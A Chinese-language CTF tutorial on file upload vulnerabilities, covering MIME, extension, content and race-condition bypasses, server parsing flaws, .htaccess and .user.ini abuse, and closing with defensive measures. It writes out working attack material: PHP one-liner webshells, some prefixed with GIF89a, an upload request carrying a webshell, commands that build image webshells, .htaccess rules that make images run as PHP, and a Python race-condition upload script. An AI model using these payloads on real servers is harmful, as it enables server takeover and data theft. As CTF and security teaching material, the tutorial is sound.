一、漏洞原理与危害
文件上传漏洞是指 Web 应用程序在处理文件上传功能时,未对上传的文件类型、内容、大小等进行严格验证和过滤,导致攻击者可以上传恶意文件(如木马、病毒、webshell 等)到服务器,进而控制服务器。
CTF 中的目标通常是:
- 上传一句话木马,获取 Web Shell
- 读取服务器上的 Flag 文件(如
/flag) - 利用文件覆盖、包含等组合拳完成攻击
二、CTF 中常见的上传点与题型特征
- 头像上传、文件分享、导入导出功能
- 后台模板上传、插件上传
- 存在前端 JS 校验(但后端无校验或校验不严)
- 返回上传路径或可直接访问上传目录
- 给出源代码或提示过滤规则
三、前端验证绕过
前端验证通常是用 JavaScript 校验文件后缀名或 MIME 类型,完全可控。
绕过方法:
- 抓包修改(Burp Suite 拦截请求,将恶意文件的后缀改成允许的类型)
- 禁用浏览器 JavaScript
- 直接在 Burp 中构造原始请求,绕过前端
CTF 示例 :上传头像只允许 jpg/png,但前端校验。上传时抓包,把文件名 shell.php 改成 shell.php.jpg,Content-Type 改成 image/jpeg,但要注意绕过后续后端校验。
四、后端验证绕过
后端验证是核心,需要根据检测点针对性绕过。
4.1 MIME 类型检测绕过
服务器检查 Content-Type 请求头,如只允许 image/jpeg、image/png、image/gif。
绕过:直接修改 Content-Type 为允许的类型。
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--
4.2 文件扩展名黑名单绕过
服务器维护了一份不允许的后缀黑名单(如 php, php5, phtml, asp 等),但可能遗漏或存在缺陷。
常见黑名单绕过手法:
| 绕过方式 | 说明 | 示例文件名(上传时抓包修改) |
|---|---|---|
| 大小写混合 | 如果程序未统一转小写再比较 | shell.Php、shell.pHp |
| 双写绕过 | 过滤函数只替换一次,如将 php 替换为空 |
shell.pphphp → 替换后变成 shell.php |
| 扩展名末尾加空格 | Windows 系统会自动去除文件名末尾空格 | shell.php(抓包在 .php 后加空格) |
| 扩展名末尾加点 | Windows 下点被忽略 | shell.php. |
::$DATA |
Windows NTFS 文件流特性 | shell.php::$DATA |
| 利用罕见后缀 | 如果服务器解析 phtml、php5、pht 等 |
shell.phtml、shell.php5、shell.shtml |
| .htaccess 配合 | 先上传 .htaccess 文件,添加解析规则,再传图片马 |
上传 .htaccess:AddType application/x-httpd-php .jpg,然后传 shell.jpg |
| Apache 解析次序 | 如果目标有多个扩展名,Apache 可能从右往左解析无法识别的后缀,直到能解析的 | shell.php.xxx(xxx 不在 mime.types 中则解析为 php) |
利用 .user.ini |
PHP 的配置文件,可以设置 auto_prepend_file 等 |
上传 .user.ini 内容:auto_prepend_file=shell.jpg,再传图片马 |
.png.php |
文件.php.png它读出来是照片,文件.php它不是png,jpg文件类型它读取不了,但改成 文件.png.php里面首先带一个png让它检测为png照片类型,后面的php结尾的它又不检测 |
strpos()函数做校验,文件后缀包含jpg就行。 |
注意:这些方法需要根据具体服务器环境和过滤逻辑来尝试。
4.3 白名单扩展名绕过
白名单只允许特定后缀(如 jpg, png, gif, doc),相对安全。绕过通常需要结合其他漏洞:
- %00 截断 (PHP 5.3.4 以下,且
magic_quotes_gpc=Off):shell.php%00.jpg,服务器保存时%00后的内容被截断,保存为shell.php。 - 路径可控 + 解析漏洞 :如 IIS 6.0 解析分号后面的内容;Nginx 低版本遇到
1.jpg/.php会当作 PHP 解析;Apache 多后缀解析等(见解析漏洞一节)。 - 条件竞争:上传时服务器先保存一个临时文件,然后检查后缀是否在白名单,如果不合法则删除。可以在删除前这一极短时间窗口内不断访问上传的文件,使其执行(见条件竞争一节)。
4.4 文件内容检测绕过
服务器可能检查文件头(Magic Number)或对图片进行二次渲染。
文件头绕过 :
在脚本前加上合法的图片文件头,比如 GIF 文件头 GIF89a。
GIF89a
<?php @eval($_POST['cmd']); ?>
保存为 shell.gif 或 shell.php(但要配合后缀绕过)。如果只校验文件头,可以这样做;如果同时还严格校验后缀且无法绕过,则需要上传图片马并利用解析漏洞或包含漏洞。
二次渲染绕过 :
有的上传会调用 GD 库对图片重新编码生成新图片(如头像裁剪),插入的 PHP 代码可能会被破坏。需要找到不会变动的图片数据区域,或使用工具(如 copy 1.jpg/b + 1.php/a shell.jpg)将代码隐藏在图片注释段中。针对 GIF 较容易(在头部后插入代码),PNG 需要处理 IDAT 块。
五、文件包含 + 文件上传组合拳
当上传目录无法直接解析 PHP,但网站存在文件包含漏洞(如 include($_GET['page']))时,可以上传图片马(代码藏在图片里),然后通过文件包含去执行该图片,从而 GetShell。
步骤:
- 制作图片马:
copy /b normal.jpg + shell.php payload.jpg - 上传
payload.jpg,得到路径uploads/payload.jpg - 利用文件包含漏洞访问:
?page=uploads/payload.jpg,代码执行。
六、解析漏洞利用(特定环境)
即使文件后缀被严格限制为 .jpg,如果目标服务器存在解析漏洞,仍可能执行。
| 服务器/环境 | 解析漏洞描述 | 利用方式 |
|---|---|---|
| Apache 多后缀 | 从右向左遇到未知后缀时,会向左继续解析,直到能解析的后缀。例如 test.php.xxx(xxx 不在 mime.types 中)则被当作 PHP 执行。 |
上传 shell.php.xxx,但需确保 xxx 不在黑名单且不被识别。 |
| IIS 6.0 | 分号截断:test.asp;.jpg 会被解析为 ASP;目录解析:/upload.asp/1.jpg 会将 1.jpg 当作 ASP 执行。 |
创建 shell.asp;.jpg 上传;或利用目录形式。 |
| Nginx < 8.03 | 1.jpg/.php 会被当作 PHP 执行(如果 FastCGI 配置不当,cgi.fix_pathinfo=1) |
上传 shell.jpg,然后访问 /shell.jpg/.php 即可执行。 |
| IIS 7.0/7.5 + PHP | 类似 Nginx 的 cgi.fix_pathinfo 问题 |
同 Nginx 利用方式。 |
七、条件竞争(Race Condition)
当服务器处理流程为:先将上传的文件保存到临时目录,再校验后缀名,如果非法则删除。这期间存在一个窗口期,文件在磁盘上存留了几十到几百毫秒。如果我们在删除前不断访问该文件,就可能成功执行。
利用方法:
- 上传一个恶意 PHP 文件(例如
shell.php)。 - 同时用大量并发请求访问
http://target.com/upload/shell.php。 - 只要有一次请求在文件被删除前到达,PHP 代码就被执行。一般可以写一个简单脚本循环请求,直到成功。
Python 脚本示例(需要同时开两个线程):
python
import requests
import threading
def upload():
while True:
files = {'file': open('shell.php', 'rb')}
requests.post('http://target.com/upload.php', files=files)
def access():
while True:
r = requests.get('http://target.com/uploads/shell.php')
if r.status_code == 200 and 'shell' in r.text:
print('Success')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
八、.htaccess 与 .user.ini 攻击(Apache / PHP)
若目标为 Apache 且允许覆盖配置(AllowOverride),可以上传 .htaccess 改变解析规则。
.htaccess 常用指令:
# 将 .jpg 当作 php 解析
AddType application/x-httpd-php .jpg
# 直接指定某文件为 shell
SetHandler application/x-httpd-php
<Files "evil.jpg">
SetHandler application/x-httpd-php
</Files>
步骤 :先上传 .htaccess(文件名可绕过后缀黑名单,如 .htaccess.jpg 后利用 Windows 特性或文件名为空等技巧;或直接允许上传 .htaccess),再上传图片马 shell.jpg。
PHP 的 .user.ini (自 PHP 5.3.0 起,适用于 CGI/FastCGI SAPI,且 user_ini.filename 默认为 .user.ini):
auto_prepend_file=shell.jpg
把所有 PHP 文件执行前自动包含 shell.jpg,从而执行里面的代码。
上传 .user.ini 可能受到和 .htaccess 类似的后缀限制,可以尝试大小写、双写等绕过,或先上传 .user.ini 文件名本身就是白名单(如果只允许 .ini 之类)。
九、CTF 实战示例:综合文件上传绕过
题目描述 :一个上传头像页面,要求上传图片,返回路径。存在过滤,目标是获取 /flag 文件内容。
步骤:
-
信息收集 :尝试上传正常
1.jpg,成功返回uploads/1.jpg。上传1.php,提示"不允许的文件类型"。猜测存在黑名单。 -
测试黑名单:
shell.php5→ 失败shell.phtml→ 成功!说明服务器未禁止phtml。- 上传内容为
<?php system('cat /flag');?>的shell.phtml,访问uploads/shell.phtml,直接显示 Flag。完成。
如果
phtml也被禁,尝试.phar、.shtml等。 -
若白名单限制只能为图片:
- 尝试
shell.php%00.jpg(00截断,旧版PHP) - 若目标为 Apache,尝试
shell.php.xxx,观察是否解析为 PHP。 - 若不行,考虑文件包含。测试参数是否有
page=,file=之类。制作图片马payload.jpg(copy /b 1.jpg + shell.php payload.jpg),上传,得到uploads/payload.jpg。通过文件包含访问?page=uploads/payload.jpg,执行命令拿 Flag。
- 尝试
-
遇到内容检测(文件头):
- 制作
GIF89a<?php system('cat /flag');?>保存为shell.gif,上传,看返回是否为gif后缀。若后缀被强制改为.gif,则需要结合解析漏洞或文件包含。 - 若服务器重编码图片(二次渲染),需要使用不会破坏代码的图片制作工具,或在上传后对比文件差异,找到可插入位置。
- 制作
-
遇到 WAF 或复杂过滤:
- 尝试图片马 +
.htaccess组合:先上传.htaccess(文件名可能需绕过:.htaccess.、%2ehtaccess等),包含AddType application/x-httpd-php .jpg,再传shell.jpg。 - 尝试条件竞争,若上传后立即删除非图片文件。
- 尝试图片马 +
-
拿到 Shell 后 :通常
system('cat /flag');或echo file_get_contents('/flag');可读取 Flag。
十、防御措施简述
- 白名单扩展名 :只允许必要类型,如
jpg, png, gif,且文件名随机化,不可控。 - 文件内容校验:检查文件头 + 使用 ImageMagick 等库重新渲染生成新图片,防止代码嵌入。
- 存储目录不解析 :上传目录设置静态资源模式,如 Nginx 中
location /uploads { add_header Content-Type application/octet-stream; }或 PHP 关闭该目录的脚本执行权限(.htaccess设置php_flag engine off)。 - 使用对象存储或 CDN:隔离上传文件与应用服务器。
- 禁用危险函数 :
eval、system等,即使上传了脚本也可能无法执行。 - 设置文件权限:上传目录不给执行权限。
十一、总结
- 文件上传漏洞的 CTF 核心是绕过各种过滤,考验对各种服务器特性、解析机制、代码缺陷的了解。
- 基本流程:判断检测类型 → 尝试绕过(后缀、内容、条件竞争)→ 寻找解析或包含路径 → 执行命令拿 Flag。
- 熟练掌握黑/白名单绕过、解析漏洞、
.htaccess/.user.ini利用、条件竞争是制胜关键。 - 防御必须深度:前端限制 + 后端白名单 + 内容净化 + 目录不可执行。